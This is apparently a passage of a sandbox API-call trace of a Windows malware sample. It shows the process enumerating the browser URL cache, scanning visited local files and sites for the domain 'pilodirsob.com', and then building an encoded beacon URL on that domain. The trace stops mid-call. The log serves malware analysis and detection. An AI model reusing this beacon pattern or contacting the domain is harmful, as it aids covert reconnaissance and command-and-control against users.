[0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.581] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.581] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@http://google.com", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.582] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.582] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@https://www.google.com/?gws_rd=ssl", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.583] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.583] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/dd3O.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Goqt.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.584] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.584] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/VihuLBb9PQiL%20O.pptx", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/p61-x6Q.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/BF77dVayz84Lz3Pys.odp", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@http://www.google.com", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/ZtzB50.ods", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/4KATP.png", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.585] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/AHyV.gif", lpSrch="pilodirsob.com") returned 0x0 [0401.585] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/th0kck.mkv", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/j1z9VOGi%20PA5X.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/2A6bXM9.rtf", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/mo0DEbXi.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aRTD.ots", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0401.586] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/JQKOZm.jpg", lpSrch="pilodirsob.com") returned 0x0 [0401.586] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 0 [0401.586] FindCloseUrlCache (hEnumHandle=0x1) returned 1 [0401.586] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x26d00d8 | out: hHeap=0x2350000) returned 1 [0401.586] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x30c [0401.586] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x960 [0401.586] lstrlenA (lpString="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif") returned 271 [0401.586] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x111) returned 0x274fe90 [0401.586] lstrcpyA (in: lpString1=0x274fe90, lpString2="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif" | out: lpString1="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif") returned="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif" [0401.586] StrChrA (lpStart="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif", wMatch=0x2f) returned="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif" [0401.586] StrChrA (lpStart="pilodirsob.com/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif", wMatch=0x3f) returned 0x0 [0401.586] lstrlenA 